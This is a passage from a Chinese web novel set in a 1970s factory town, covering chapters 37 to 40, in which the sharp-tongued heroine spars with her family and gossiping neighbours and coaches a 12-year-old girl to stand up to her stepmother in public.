宋知夏赶紧缓和气氛:“小南,爸听说你搬新家了,给你带了很多吃的。” 宋知南毫不客气地接过东西,她领着三人进院往屋里走去。 宋上进看着空荡荡的房间,问道:“你一个人住不害怕吗?” 宋知南:“怕什么,死人没有活人可怕。”活人害过她,死人又没害过她。 宋上进还是不知道说什么好,他到底小看了这个闺女。 宋知南给他们三人每人盛了一碗梨汤,宋冬宝喝得最欢。 宋上进只是抿了一口梨汤,一副心事重重的模样。以往每当他做出这副样子时,原主就会忐忑不安又小心翼翼地问他怎么了,想尽一切办法为他解忧排难。现在嘛,你爱愁愁去,男人不知愁滋味,为赋新词强说愁。 宋知南没问,宋知夏倒问了:“爸,你怎么了?” 宋上进顺着台阶主动开口:“小四,你哥以前是浑了点,可他毕竟是你亲哥,现在他也得到教训了。你妈整天为他操心,头发都白了。你说咱们全家要是一起出力出钱给你哥托关系找人,能不能给他办个病退回城?” 宋知南反问道:“托关系?咱家上头有人吗?” 宋上进摇头:“没有,我不是在跟你商量吗?” 宋知南翻了个白眼:“没有你说个啥。” 宋上进用期待的目光看着宋知南。 宋知南冷笑:“你想让我托关系?” 宋上进赶紧讨好地说:“爸知道你有本事,你跟咱家别的人都不一样,我可是听人说了,你申请房子时,吴厂长都替你说话了。” 厂里还传言说,吴厂长是怕宋知南带坏了自己闺女,所以才迫不及待地把宋知南给弄出来单住。 宋知南语气坚决:“我申请房子是因为我符合规定,又为厂里做了贡献。我这人原则性很强,不喜欢走后门。” 宋上进一百个不信,他接着软磨:“小四啊,秋实可是你亲哥哥,你们打断骨头连着筋呢。” 宋知南:“你要这么说,那我下次见了他就把他骨头打断试试,看到底连没连着筋。” 宋上进:“……” 宋冬宝倒吸了一口冷气,觉得骨头直疼。 宋知南耐心地给宋上进做思想工作:“大哥刚下乡就办病退,不合规定也不合情理,你就算要办,也得是一两年后再办才合理,别人不是傻子,你走后门也得做做表面功夫是不是?要不然的话,那些厂领导的孩子为啥不办病退回城呢?人家是没钱还是没关系?” 宋上进一听也确实是这么个理儿,难道人家没钱没关系吗?为啥人家就没有办病退呢?事情没他想得那么简单,是他魔怔了。 宋知南接着说道:“你回去劝劝妈,别让她整天哭哭啼啼的。别人的孩子能下乡,为啥她的就不能下?就她儿子娇贵?她这样下去,大家都说她觉悟低。再说了,难道咱家就只有大哥一个孩子吗?你们不疼闺女可还有一个儿子呢,冬宝不是人吗?你们两个加一起九十多岁的人了,都长点心吧。别让街坊邻居笑话咱们家。” 宋家三人面面相觑,无言以对。 宋上进提了一堆东西来,得了一堆教诲回去了。 宋知南扶着门框目送三人离开,爹味说教真的爽,一直说教一直爽。尤其是对真爹说,谁说谁知道。 她的命就是好,前世今生都是她给爸妈当父母,在精神上重新把他们教育一遍,累是累,但真的出了一口恶气。人活着,就得呼吸。她出气就是为了呼吸。 宋知南咕咚咕咚灌了半碗梨汤,提上布袋和篮子出门。 她在供销社买了四个碗四个盘子和一把竹筷,在菜店排队买了两颗大白菜三斤萝卜三斤土豆,最后在副食店买了一斤绿豆糕。买肉需要肉票,宋知南买了二斤不要票的排骨和一根棒骨。 宋知南拎着沉甸甸的东西往家走,她没有自行车,交通全靠双腿,空着手走路还没事,提着东西走,勒得胳膊疼。买菜、洗衣、做饭全是手动,这种生活对于宋知南来说有挑战,但她想着别人能过我也能过,心态上倒还行。她再转念一想,我所做的一切都是为了我自己,不是为了别人,尤其不是为了男人,那有什么可怨的?这么一想,她浑身充满了力量。 第37章 宋知南放下东西歇了一会儿, 拎起来再接着往前走。回家后她先坐着歇息一会儿,随即拿出本子在计划书上加了一行:买自行车。这个年代的自行车是个大件, 需要一百多块钱加好多张工业券。她手头有钱,但没有工业券,得跟别人倒腾。 宋知南歇够了开始准备晚饭,她的身体经过这段时间的进补,比以前胖了些,气色略好些,但还远远不够。她想变得更健康更壮实,最好能再长长个子,长点肌肉。 今天的晚饭她打算做个红烧排骨、大棒骨炖萝卜,再炒个素菜,主食是馒头。丰盛是丰盛些, 不过排骨买回来了, 又没有冰箱, 怕放坏了,索性都做了。 排骨一顿吃完, 剩下的棒骨汤吊井里, 明天早上用来煮挂面。 宋知南喜滋滋地想,她可真会过日子。 宋知南把棒骨炖上,正准备收拾排骨,就听见有人敲门。她过去开门一看,不禁面带惊喜,来的人正是魏芬和她的两个孩子。 魏芬手上提着一捆青菜和一把粉条,笑吟吟地说:“我听知夏说你又搬新家了, 就过来看看,认认门。”说着, 她把东西递给宋知南。 宋知南接过来东西道谢:“谢谢姐,我最爱吃猪肉炖粉条了,正好缺粉条。” 小婵也仰着脸说:“南姨,我也爱吃猪肉粉条哎。” 魏芬笑着说:“这世上有你不爱吃的吗?” 大家一起笑。 宋知南把三人迎进院子,魏芬打量了几眼院子的布局,越看越满意:“这房子真不错。” 说着,她像是想起了什么,一脸严肃地问小婵小娟:“你们俩进来以后觉着怎样?有看到除了咱们几个以外的人吗?感觉难受吗?” 两人一起摇头:“没看到别人呀,也不难受啊,我们很高兴。” 魏芬松了一口气,笑着对宋知南说:“小南,这房子你放心住。我给你说,小孩子的直觉最灵了,他们能看到大人看不见的东西。要是她俩都没察觉出什么不对劲来,那就说明没问题。” 这个操作让宋知南也愣住了,孩子还能有这种用途? 她怜惜地摸摸小婵小娟的头发,“今晚姨姨请你们吃肉。” 两个孩子一起欢呼:“嗷——” 魏芬客气道:“不吃不吃,我们晚饭都准备好了,坐一会儿就走。” 宋知南再挽留,魏芬仍是客气推辞:“你大哥还在家呢,我不回去他吃啥?” 宋知南说:“他一个大男人不会做饭啊?不会做就饿着他,男人不能惯,越惯会混蛋。你看我弟,不就学会做饭了吗?” 魏芬会心一笑:“你的手段就是高明,冬宝那个混小子被你收拾得服服帖帖。” 宋知南一锤定音:“你今天必须得留下来吃饭,要不然我就生气了。” 魏芬见她态度坚决真诚,就笑着答应了。 魏芬也不是外人,宋知南就一边做饭一边跟她聊天。魏芬见宋知南买的是排骨,心疼地说:“你咋买排骨?全是骨头,肉没多少,也不能炼油。” 大家伙买肉都比较喜欢肥肉,可以炼油。其次是五花肉,排骨一般人不爱买。 宋知南说:“我没有肉票,只能买些排骨和棒骨。” 魏芬见宋知南竟然要先油炸排骨,更肉疼了。 她自告奋勇地说:“小南,我来做吧。”说着直接把她挤开了。 宋知南也没跟魏芬客气,把位置让给她,自己在一边剥葱剥蒜,剥蒜的活也被两个孩子抢走了。 大家说说笑笑,其乐融融。 魏芬一边做饭一边跟宋知南闲叙:“我来的时候看见你妈了,她正到处跟邻居借东西寄给你哥。她说你哥临走时带的东西被人偷了,还说是你偷的。把我气坏了。我说你不能这么诬赖小南,大家是看着小南长大的,她是什么人我们都清楚。你这样下去,我们大伙都怀疑你不是她亲妈。” 宋知南面不改色地说:“是啊,我怎么可能偷宋秋实的东西。”她拿自己家的东西能叫偷吗? 末了,她又大度地说:“没事,我不生气。我不跟她这种人一般见识。” 魏芬说:“你妈说你哥下乡后正好赶上秋收,天不亮就得起来干活,累坏了,他请假还被生产队长批评了。要我说,你爸妈就是太惯着你哥了,快二十的大小伙子了,干点活怎么了?” 宋知南附和道:“我哥就是缺乏锻炼,这次正好给他一个机会。” “对对,就是这个意思。什么都靠爹妈的人能有什么出息?再瞧瞧你,工作是靠自己找的,连独门独院的房子都有了,咱们院里谁不夸你?” 两人一边聊一边做饭。 有了魏芬这个做菜主力加入,她们开饭的时间都提前了。 晚饭是三菜一汤,红烧排骨,炒白菜,鸡蛋炒蒜薹,棒骨炖萝卜。 大家吃得是宾主尽欢,尤其是小婵小娟两个孩子更加喜欢宋知南了,南姨就是好,总带她们吃肉,比亲姑姑都好。 小孩子嘛,藏不住话,心里怎么想的,嘴里就怎么说:“南姨,你比我们的亲姑姑都好。” 宋知南谦虚地说:“哎哟,地位升这么高我都有点不适应了。” 魏芬笑着说:“小孩子的眼睛也是雪亮的。”她也不好当着孩子的面说小姑子的不是,反正孩子自己知道谁对她好。 小婵到底大了一岁,稍稍成熟些,还知道找补一句:“南姨跟我大姨小姨一样好。” 魏芬忍不住捏了小婵一下,笑着骂道:“就你机灵。” 宋知南记得魏芬家里还有一姐一妹,她姐叫魏香,她妹叫魏芳,魏芳年纪应该跟自己差不多。 魏芬也顺便说起了自己的家里人:“我妹魏芳比你大一岁,今年高中毕业了。”这个年代的学制是小学五年初中高中都是两年。魏芳16岁高中毕业是正常现象。 宋知南关心地问道:“她的工作安排好了吗?不用下乡吧?” 魏芬笑着说:“安排好了,接我妈的班,在食品厂。”当然,魏芬娘家也有烦心事,不过今天大家这么高兴,她也就没往外说。 魏芬母女三个吃完饭,也没再多呆,趁着天色还亮就准备赶紧回家去。 魏芬临走时,拉着宋知南的手说:“你啥时候回院里来我家吃顿饭。你洪大哥就那德性,你不用在乎他。” 自从宋知南帮魏芬怼了洪长山以后,他一直对宋知南有意见,平常魏芬在家一提起宋知南,他就故意唱反调。魏芬忍不住鄙视他,男人就是这么小心眼,几句话的事能记这么久。就这还好意思说女人心眼小。 宋知南说:“我倒挺爱去你家,就是吧,现在我回院里不太方便,我爸妈那人你也知道。你有时间就来我家吧,我家就我一个人,方便又自在。” 魏芬想了想,便答应了:“行,下回我带着菜过来,你有啥活要干,就先放着,咱们一起干。” 小婵小娟赶紧刷自己的存在感:“南姨,我们也会干活。” 宋知南笑着说:“行行,那我就等着你俩孝顺我了。” 临走时,宋知南又塞给两个孩子半包绿豆糕。两小只的眼睛都亮了,但还是懂事地看着妈妈等她的示意。 魏芬客气道:“这又是吃又是拿的,多不好意思。” 宋知南把绿豆糕放小婵手里一塞说:“就一点糕点算什么,给孩子当零嘴。” 魏芬对小婵说:“赶紧谢谢你姨。” 两个孩子齐声道谢。 宋知南送了三人一段路,才转身往家走。 她一回头,就看见王婶和张大爷眼睛亮晶晶地瞅着她,张大爷先搭话:“小宋,刚才来的是谁呀?” 宋知南:“那是我姐和两个外甥女。” 王婶面带疑惑:“你大姐我见过,不是她吧?” 宋知南傲娇地说:“我又不止她一个大姐,我这人就是人缘好,厂里厂外的姐妹一大堆,这才哪跟哪儿。” 王婶嘴上没敢说,心里却腹诽道,就你还人缘好,把男同志都给得罪得差不多了。 想到男同志,王婶眼珠一转,就凑上来说道:“哎呀小宋,你知不知道厂里的男同志都是咋评价你的?哎哟,那话说得可真狠,我都不敢告诉你。” 张大爷也是目光闪烁:“小宋,我也听说了一些关于你的传闻。” 两人就等着宋知南问他们。 宋知南上下打量王婶一眼,大声说道:“不是吧?王婶你都一把年纪了,还天天盯着厂里的男同志看?哎哟歪,你难道也跟张大爷一样就喜欢年轻的?” 王婶瞠目结舌,这是什么情况,她天天吃瓜吃到自己身上了? 张大爷赶紧证明自己的清白:“小宋,你别这么说,我可是正经人,我不喜欢年轻的。” 宋知南点点头:“张大爷我明白了,也就是说,你不喜欢年轻的。你只喜欢王婶这个岁数的。她这岁数的也挺好,各种经验都挺丰富,难怪你喜欢。哎呀,这真是老蟾蜍搂青蛙,人越老玩得越花。” 王婶和张大爷异口同声:“你别胡说!” 第38章 三人的精彩互动把左右前后的邻居都给吸引出来了。 大家伙一个个双眼放光, 兴致勃勃。新闻大户张大爷和王婶出新闻了,这可是大新闻, 谁不兴奋? 张大爷一看到大家兴奋的目光就暗叫不好,急忙第一时间辟谣:“谁说我喜欢老王?开什么玩笑?我怎么会喜欢她这种人?” 王婶本来也想辟谣,可是一听张大爷这话就觉得不舒服:“老张,你啥意思?啥叫你怎么会喜欢我这种人?我也不喜欢你这种人。整天神神道道的,出门看黄历,你拉屎是不是也得看黄历?” 张大爷梗着脖子反驳:“你有病吧?谁上厕所看黄历?” “你看的。大家伙都看见你拿着黄历上厕所。” 众人:“……” 宋知南这个新闻发起人,此时开始调解矛盾了,“你们俩加一起都一百多岁的人了,不要为了鸡毛蒜皮的小事吵架。邻居之间,以和为贵。大家退一步海阔天空,听我的, 都退一步。” 两人对着宋知南怒目而视:“你可拉倒吧。要不是你我们俩也吵不起来。” 宋知南一脸委屈地看着众人:“你们看, 我好心调解矛盾倒成了我的错了。行行, 我以后再也不多嘴了,你们俩接着吵吧。对了, 你们刚才说到哪儿了, 张大爷说他不喜欢王婶,王婶也说不喜欢他。我就纳了闷了,既然你们谁也不喜欢谁,咋老凑一起呢?咋就那么心有灵犀呢?你们中老年人都玩得这么开吗?都这样了还不承认彼此的关系,是都想着发展多边关系是吗?” 张大爷和王婶继续对宋知南怒目而视:“你可赶紧闭嘴吧。” 宋知南摇头叹息:“王婶,张大爷,你们俩知道大家伙都是怎么评价你们的吗?” 两人想也没想就脱口而出:“咋评价的?” 宋知南欲言又止, 欲说还休,最后来了一句:“哎呀, 有些话太脏了,我实在是说不出口,反正你们干了什么事你们自己知道。” 说完,她飘然而去,回家去了。 留下一群心里痒痒的八卦邻居。 系统播报:收获杠精值30。这帮邻居可真好,她一搬来就送来这么重的礼,她爱他们。 邻居们在巷子口闲扯了好一阵才意犹未尽地回家去。当晚,一个新闻就传了出去:“王婶和张大爷疑似有一腿。” 新闻传着传着又变成了:“王婶和张大爷有一腿,还被宋知南看见了,两人一起骂宋知南,宋知南说当时的情形她实在说不出口……” 传到最后又变成:“两人有关系,宋知南看到了不该看的,被两人联手对付。两人不承认这段关系,是因为想吃着碗里的看着锅里的。” 第二天,大家伙看张大爷和王婶的眼神都变了,这俩老不正经的,怪不得老凑一起说话。真是人老心不老,说乱搞就乱搞。 还有人向宋知南打听,她昨晚到底看到啥了。宋知南坚决不说:“你别问我,我这人不爱背后说人闲话,我什么也不会说的,因为实在说不出口。” 传过闲话的人都知道,话一定要留白,留足空间让人脑补想像,众人的想像力绝对超出你的预料。 这些邻居果然不负所望,立即说道:懂了懂了,那就是画面太脏说不出口。我的天呐,这两个老青蛙,玩得还挺花。 舆论八卦中心主任王婶和副主任张大爷,两人连着两天没有出现在众人面前,大家更信这回事了。 他们要不是心虚,为啥要躲着大伙?是啊,两个一个是鳏夫,一个是寡妇,又住得这么近,怎么可能没有一腿呢? 其实前些年,也有人给他们做过媒,但两人谁也看不上谁。 王婶嫌张大爷又抠又神神道道,张大爷嫌王婶太凶太算计,而且还有两个不成器的儿子。两人互相看不上,但关系还算不错,毕竟他们都退休了,时间有的是,两人业余爱好又相同,时常凑一起说别人的闲话。这下好了,宋知南的一番话给两人的关系蒙上了一层阴影,他们再也不是纯洁的邻居关系了。 张大爷和王婶是偷鸡不成反蚀把米,本想从新邻居宋知南这儿挖出点新料,充实一下八卦库存,没想到现在自己反成了舆论的中心。 宋知南的地位在邻里间蹭蹭上升,这小姑娘有两下子啊,一上来就能让张王二人吃瘪两回,那能是普通人吗? 李群英听着邻居们的议论,再一次庆幸自己的先见之明:她早说了,宋知南就不是个普通人。 这天宋知南刚下班,李群英就登门拜访,她拿出一把瓜子跟宋知南一起嗑。 她一脸佩服地说:“知南,还是你厉害,让那两人铩羽而归。” 宋知南谦虚道:“一般一般,也就全厂前三。” 李群英噗嗤一声笑了。 李群英接着总结经验:“以其人之道还制其人之身,道理我都懂,可就是没有实践过。” 宋知南:“咱们年轻人就是要多实践,都是两个肩膀一张嘴,凭什么他们可以随便嘴咱们?该出嘴时就出嘴,莫待回去空捶腿。” 李群英捶着腿大笑:“笑死我了,你这人咋这么有意思。” “我以后得多向你学习。” “咱们互相学习,共同进步。” …… 李群英在宋知南家呆了一个多小时,兴奋而来,兴尽而归。 临走时,她答应送宋知南一只小猫。 李群英挺守信用,第二天下班就把小猫送过来了,小奶猫只有两个月大,是只虎斑猫,长得虎头虎脑的,宋知南的心都快萌化了,抱着猫不撒手。她现在可是猫狗双全的人了。 宋知南给小猫搭了个窝,下班回来没事就撸一下,什么烦心事都没了。 逗完猫狗,她就去做饭,想吃什么做什么。 继李群英之后,宋知南又迎来了其他邻居的拜访,这次来的也是熟人,是住在吴明珠隔壁的小姑娘边月。 边月还带着礼物上门:一根给黑米的大骨头,黑米看见她就乐得站起来迎接。 边月放下骨头,摸了摸黑米的狗头,笑着说:“黑米真可爱,我也想养狗,可家里不让。” 宋知南瞧着这个小姑娘,年纪不大,整天皱着眉头,还是笑起来更可爱。 边月脸上的笑容还带着余韵,她抬起头看着宋知南说:“宋姐姐,我真佩服你。你工作时为女同志排忧解难,在家还不忘为邻居出恶气。我听说你把王大娘和张大爷说得都不敢出门了,心里可痛快了。这俩人平常就爱说闲话,我从小到大没少被他们说。” 宋知南一如既往地谦逊:“我也就随便说他们两句,主要是他们犯了众怒。” 边月的语气渐渐变得低落:“你反击别人就已经很厉害了,关键是你还能保全自己,我就不行了。” 宋知南试探着问道:“你跟你后妈关系不好?” 边月面带诧异的同时又带着一丝警惕:“你怎么知道?是不是别人跟你说我什么了?” 宋知南摇头:“没人说,我猜的。” 边月看看宋知南,咬着嘴唇,小声说:“宋姐姐,你相信我吗?我不像他们说的那样又懒又馋不讲卫生、性格古怪,对爸妈不孝顺。我真的没有。” 宋知南笃定地说:“我当然相信你啦。” “你真的相信我?” 宋知南笑着说:“因为我刚刚从你那个年龄经过,我走过你正在走的路。我的妈虽然是亲妈,但我跟你的处境差不了多少。我们这个年纪对世界有了一点自己的看法,刚刚有了自我。我们稚嫩、莽撞甚至激烈地向这个世界表达自己的看法,发出呼吁甚至求救,但没人理会。” 边月年纪不大,但从小就喜欢读书,再加上家庭环境的缘故,比同龄的孩子早熟,她完全能听明白宋知南的话。 她一边听着一边用力的点头。 宋知南接着说:“我们的父母用他们成年人的成熟周密站在舆论至高点发动周围的群众用言语围剿我们,他们就像一群成年的野兽静静地看着幼兽在网中挣扎、愤怒、嘶吼,直到我们发狂,他们冷笑着对其他围观的成年兽说,你们看,我说得对吧?她就是这么不懂事,你看她吼得多凶。所有的成年兽都选择性忘记了,他们曾经也当过孩子,但孩子没当过大人。他们没有用过来人的经验引导我们,而是用丰富的经验来攻击我们。大人们那么团结,我们孩子也要团结在一起。” 这段话像一道闪电瞬间击中了边月的心灵,她怔怔地看着宋知南。她的面前出现了后妈刘素琴面带微笑地看着她在网中挣扎的画面。后妈在笑,周围的邻居也在一旁指指点点。她突然觉得全身发冷,忍不住颤栗了一下。 宋知南轻轻拍拍边月的肩膀安慰她。 边月平静了一会儿,擦擦眼角,没让眼泪流出来,她瓮声瓮气地问道:“宋姐姐,你说我以后该怎么办呢?” 宋知南说:“每个人的性格不一样,处理方法也不一样。” 边月追着问:“假如你是我,你会怎么办?” 宋知南微微一笑:“我嘛,办法很简单:后妈不是妈,该打打该掐掐;渣爹不是爹,该打打该捏捏。” 边月认真揣摩着这句话,她感觉这话虽然简单,但里面蕴含着的道理大着呢。她觉得挡在面前的那一层面纱被揭掉了,眼前豁然开朗,她突然想通了什么,领悟了什么,但一时又说不清楚。 边月低头思考一会儿,一脸认真地问宋知南:“宋姐姐,你愿不愿意收我为徒?” 这下把宋知南整不会了,她也没收过徒弟呀。 边月小心翼翼地观察着宋知南的脸色,不好意思地说道:“我没有什么零花钱,买不起拜师礼。但我能帮你干活,我力气大什么都能干,洗衣做饭打扫卫生、跑腿都可以。等我长大上班了,挣了工资就有钱孝敬师傅你了。” 第39章 宋知南看着边月, 这小姑娘有点意思,还知道拜师学艺, 还挑中了自己,有眼光有前途。 小小年纪还学会画饼了,要是成年人这么说,她没准会嗤之以鼻。但想到对方只是个十来岁的小女孩,她不自觉地宽容了许多。 虽然她没收过徒弟,但当年做自媒体就有不少观众问她收不收徒,当时她嫌麻烦就没答应。 宋知南拍拍边月的肩膀,亲切地说道:“啥徒弟不徒弟的,咱们是好朋友,以后你有啥不明白的可以来问我。” “姐姐,我还是想拜你为师, 我想得到你的真传。你没当过师傅, 我也没当过徒弟, 我们就试一试嘛,你要是以后觉得我不好, 就把我逐出师门。” 宋知南见边月说得煞有其事, 忍不住笑了。 以前她没收过徒,尝试一下也未尝不可。现在又不是古代,没有一日为师终身为父为母那种说法。况且,边月脑子不笨,有点悟性,至于品性如何,还需要长期考察, 如果觉得对方不行,直接口头解约就行。 再说了, 男人那么团结,她们女人也要团结起来。 宋知南考虑一会儿,说:“看在你诚心拜师的份上,我就收下你当个学徒。以后看你的表现,要是咱俩不合适,咱们还继续当邻居。” 边月迟见宋知南终于答应了,不禁欣喜若狂地喊道:“好的师傅,徒弟完全同意师傅的意见。” “师傅,我还用……下跪拜师吗?” 宋知南连连摆手:“不用不用,咱们是新社会了,不能用老一套。” 边月认真地朝宋知南鞠躬三次,还给她倒了一杯敬师茶。师徒名分正式定下。 拜师成功,边月高兴得不知该干什么,转了一圈,拿起墙角的铁锹就埋头挖地:“师傅你要种菜吗?虽然我没种过菜,但一学就会。以后我帮你一起种。” 宋知南问道:“小月,你今年多大了?” “我十二了。” “才十二啊。”这孩子个子长得挺高。 边月有些不好意思地说:“嗯,我长得比同龄人高壮,我后妈还说我吃得多才长个傻大个。” 宋知南说:“果然是后妈,要是亲妈看你长得高,高兴还来不及呢。咱们女孩子就是要长得高高大大的。” 边月眉眼一弯:“师傅,真的吗?” “当然是真的。” 自从拜了师,边月是有空就往宋知南家里跑,来了就找活干,不让干都不行。 李群英有空也过来,她们三人就组成了年龄层差距很大的奇特三人组,周围的邻居也觉得奇怪。 宋知南想着她能申请上房子,多亏了李群英给她出主意,就打算请她吃顿饭。其实还有一个功臣吴明珠,她也打算请一顿,但是吴明珠对她家是心有余悸,估计不太敢来,她只能带着东西去她住的地方请。 徒弟已经收了,宋知南干脆连边月一起请。李群英一听宋知南要请她和边月吃饭,当下便笑着答应了。边月这个小妹妹,她也认得,挺可爱的一个孩子,她亲妈人也挺好。只是两人年纪相差太大,没有共同语言,自然不太熟。不过,既然宋知南那么喜欢她,说明这孩子的品性错不了。 边月一听师傅要请自己吃饭,激动得当晚都没睡好。 她觉得自己不能空着手上门,可是她没有零花钱。 找同学借又张不开嘴,她只能找自己的小伙伴,张小林和钱木青来商量。 这三个孩子都是一根藤上的苦瓜,张小林幼年丧父,母亲带着他改嫁,继父对他很不好,饭都吃不饱,动不动还挨打。他十三岁了,个头比边月矮一头。钱木青跟边月一样大,她家情况跟张小林家差不多,她继父对她也很一般。三人同病相怜,从小就关系就很要好。 边月说出自己的烦恼,两个小伙伴比她还穷,借不了钱,也帮不上她什么忙。 张小林出主意说:“小月,你爸应该快回来了,要不你找你爸要钱试试?” 三人中,就数边月家的家庭条件最好,边月的爸边建军是运输部的,工资很高,每次出差还有补贴。 边月咬着唇说:“我每次一跟我爸要钱,我后妈就生幺蛾子,说她每月都给我零花钱,我败家乱花。要不就是学校收钱,她不交,又说杂费给我了,是我拿出去花了。我分辩,我爸不信我,还反过来骂我。” 钱木青说:“你后妈那人太可恨了,她就是故意坏你的名声。那怎么办?要不咱们去煤场捡煤块吧,卖的钱都归你。”他们附近有煤场,会有小孩和老人去捡碎煤,多少能卖点钱。 边月低头思考了一会儿,突然想到,自己不是已经拜了师傅吗?她要去问问师傅有没有办法? 她说道:“靠捡碎煤也不是长久之法,我想要改变。”她要不想改变就不会厚着脸皮非要拜师学艺了。 她有预感,师傅一定会有办法的。 边月告别两个小伙伴,一路飞奔到宋知南家。 “师傅,我向你请教一个问题,你说我怎样才能顺利的从我爸和后妈手里要到零花钱?” 宋知南一边撸猫,一边问道:“你说说你平常要钱的情况。” 边月用愤愤不平的语气说了以往要钱的经过,说着说着眼圈忍不住发红:“我亲妈在的时候,每星期都给我一块零花钱,让我自己支配。我每年的压岁钱我妈也给我,我爸要收回去她都能不让。我想看的书,不管多贵,我妈都舍得给我买。自从她走后,别说零花钱,我就连买学习用品和交杂费的钱都要不到,我不敢跟同学出去玩,她们请我吃零食,我也不敢吃,就怕自己回请不起。时间长了,同学说我变了,说我性格古怪孤僻。” 宋知南说:“这事不难,我教你一个办法。你以后要钱就当着大家伙的面要,特别是你爸的朋友来家里时,当着他们的面要,你爸出于面子肯定会给你。找你后妈要钱也是当面要。” 边月又问:“可是我要到钱后,我后妈作妖我怎么办呢?比如说,她让我出门买东西不给钱。” 宋知南笑着说:“好办,她要你买东西,你就问她要钱,不给你就不走,而且要闹得亲戚邻居都知道。她说她给钱了,你要让她证明自己给没给,而不是你来证明。你记得一个原则,进攻才是最好的防守,你不要向别人证明自己,而是要让别人证明他自己。” 边月都读初一了,平常又喜欢看书,一下子就理解了宋知南话里的含义。她的眼睛不由得一亮,这个师她拜对了。 宋知南见这个徒弟好学又上道,好为人师的一面被激发出来了,开始传授具体心法。 “你在斗争阶段,要团结大多数,狠抽她一个。要团结你爸你爷奶你姑甚至亲戚邻居,把你后妈推到他们的对立面。你后妈给自己树立的是聪明善良厚道的人设,你就从这方面入手。她说她没想到某一点,你就说你不是聪明吗?为啥连这一点都没想到呢?为啥你儿子闺女的事你就想得那么周全呢?你是把我爸当傻子吗?你是把亲戚邻居当猴耍吗?” 边月频频点头,她甚至找宋知南借了一个笔记本,一字不漏地记下了她的话。 宋知南继续教学:“你第一次吵架,难免会怯场、紧张害怕,甚至发挥不好。但是没关系,你要记住,你还是孩子,你才十二岁,有很大的成长空间。 为了发挥得更好,你可以提前在脑子中预演,根据你后妈的性格和说话习惯,提前预想她会说什么,你要怎么回怼。记住,在现场,一定要冷静,不要着急,一着急就容易头脑一片空白,想说的话也会忘记。你要时刻提醒自己:一切反动派都是纸老虎,他们没你想的那么可怕。很多大人都是怂货,爱欺负孩子的大人全部都是怂货孬货,真正正常有实力的大人是不屑于欺负孩子的。你是在替天行道,替自己讨回公道,要有必胜的信念。” 边月越听越佩服,恨不得当场给宋知南磕一个。要是早点遇到师傅就好了。 边月回到家里,刻苦钻研,积极推演,在脑子里模拟吵架场面,连做梦都在吵架。 次日,边月的爸边建军正好出完差回家。他出了趟远门,帮亲戚朋友带了不少东西,他一到家,那些人就已经等候多时了。 “建军回来了,瞧你又瘦了,得好好补补。” “这一路没少辛苦。” 大家寒暄着恭维着边建军。 边月在一旁默默地看着,她鼓足勇气挤进去对边建军说道:“爸,我们学校要开运动会,我报了三千米长跑,我的球鞋小了,你能不能给我5块钱,我买双新球鞋?” 边建军蹙起眉头:“球鞋小了?不是刚买的吗?” 边月说:“球鞋是三年前买的,我的脚长得快,挤脚,鞋底都变薄了。” 刘素琴一看边月当众要钱,赶紧说道:“你说你一个女孩子穿鞋咋那么费?比小阳都费鞋,小星更不用说,她一双鞋子恨不能穿一辈子都不坏。要不大家都说你是个野丫头呢?” 在场的众人有的附和,有的还跟着说边月几句。 要是换作以前,边月肯定会急声分辨自己不是穿鞋费,自己不是野丫头。此刻,她想起师傅说的,要冷静,不能慌。还要保持进攻,进攻才是最好的防守。 第40章 边月不说话, 扭身进了弟弟边阳和妹妹边星的房间,拿个袋子把他们的鞋子一股脑的全装进去, 再回到自己房间,找出两双旧鞋,她来到堂屋,把三人的鞋子往地上一倒,再分成三堆,大声说道:“来来,你们大家看看,左边这是我弟的鞋子,右边是我妹的,中间的是我的。你们数数他们有多少双鞋子,再看看我的鞋。” 众人一看, 好家伙, 边阳和边星的球鞋、皮鞋、棉鞋、凉鞋, 加起来都有十来双。 再一看边月的鞋子,只有两双可怜巴巴的旧鞋, 而且底子都磨薄了, 解放鞋都有裂口了。 刘素琴万万没想到边月给她玩这么一招,她脸色一僵,冷声责备道:“小月,你这是干什么呢?我是没给你买鞋吗?上次带你去买鞋,你说你不要。给你买皮鞋你又不喜欢穿。” 刘素琴买的皮鞋故意买小的,边月穿着夹脚,最后那鞋自然就归了妹妹边星。 边月越想越气, 直接从妹妹的鞋里找出一双黑皮鞋,扔到刘素琴面前, 冷笑道:“这就是你给我买的皮鞋,你故意买小码数,还对外人说我不喜欢穿。你自己咋不穿小鞋呢?” 众人面面相觑。 刘素琴脸色一变,随即赶紧替自己辩解道:“我要忙得事多,可能记错了你的鞋号,鞋买小了你为啥不直接跟我说,咱们去换就是了。你是故意瞒着不说,好当众给我难堪是不是?哎哟,都说后妈难当,只能疼不能说不能骂。我真是满肚子冤屈没处说。” 边月想起师傅的叮嘱,继续保持进攻,并且把爸爸和在场的叔叔阿姨全拉进来:“你记错我的鞋号,咋没记错边星边阳的鞋号?还那么巧,刚好买了边星能穿的鞋号。刘阿姨,你把我当傻子就罢了,但我爸可不是傻子,他走南闯北什么人没见过,在场的叔叔阿姨可不是傻子。你别觉得这世上就你一个聪明人。” 边建军脸色很不好,他瞥了刘素琴一眼,目光中带着一丝警告和怀疑。 在场的人互相使着眼色,有的还小声议论起来。 “这个刘素琴精明过头了吧?” “是啊,其实我一直都不信她对边月有她说的那样好。” “小月这孩子随她亲妈,性格大大咧咧,但心地善良,是个好孩子。” “唉,没妈的孩子像只草。” 他们虽然声音很小,但堂屋本来也没多大,总有些话飘到了刘素琴的耳朵里。她的脸色又变了几变。 刘素琴没想到边月的战斗力突然变强了,忽然,她想到邻居们跟她嚼舌,说边月最近跟宋知南走得很近,有空就往她家跑。 她立即找到了突破口,便高声质问道:“小月,你告诉阿姨,你的这些话是谁教你的?是不是那个宋知南?” 大家一听这话,议论声果然小了许多,全都目光炯炯地盯着边月。 边月一听刘素琴提起师傅,不由得心头一慌,可不能连累了师傅。她转念一想,不行,这是她的第一场战役,绝不能打输了。冷静,必须冷静。 边月强行让自己冷静下来,大声回答道:“阿姨,你不要转移话题,咱们在说买鞋的事,关宋姐姐什么事?她怎么知道你买鞋买小的事?她怎么知道你每次都不给我零花钱却说谎给了的事?我年纪小,我才十二岁,你是大人,你什么都懂,什么都经历过,可是你为什么要这样对我?我做错了什么?我爸经常在外面出差,辛辛苦苦地赚钱,你却在家里虐待他的亲生女儿,我妈为厂里奉献了青春,献出了生命,你却这么欺负她的女儿?妈,你为什么要丢下我?你回来看看你闺女过的是什么日子?” 边月说到后面,完全是真情流露,她想起了自己这几年的隐忍、委屈、伤心,忍不住当场落泪。越哭越厉害,最后索性放声痛哭。 现场先是一瞬间的安静,接着乱了起来。有人赶紧去劝边月,有人去推她回房。 